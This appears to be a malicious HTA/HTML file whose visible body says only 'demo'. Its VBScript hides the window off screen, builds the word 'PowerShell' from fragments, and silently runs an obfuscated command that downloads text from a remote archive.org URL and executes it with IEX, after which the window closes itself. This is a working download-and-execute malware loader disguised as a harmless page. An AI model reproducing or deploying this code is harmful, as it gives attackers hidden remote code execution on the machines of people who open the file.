<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -1000,-1000
Dim objShell
Set objShell = CreateObject("WScript.Shell")
gdgg=chr(80) +"o" & "w"
dddd="e" & "rs"
cccccccc="h" & "ell"
command = gdgg+dddd+cccccccc+ " $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''https://archive.org/download/all_20210319_20210319/ALL.txt'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X "
objShell.Run command,0
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>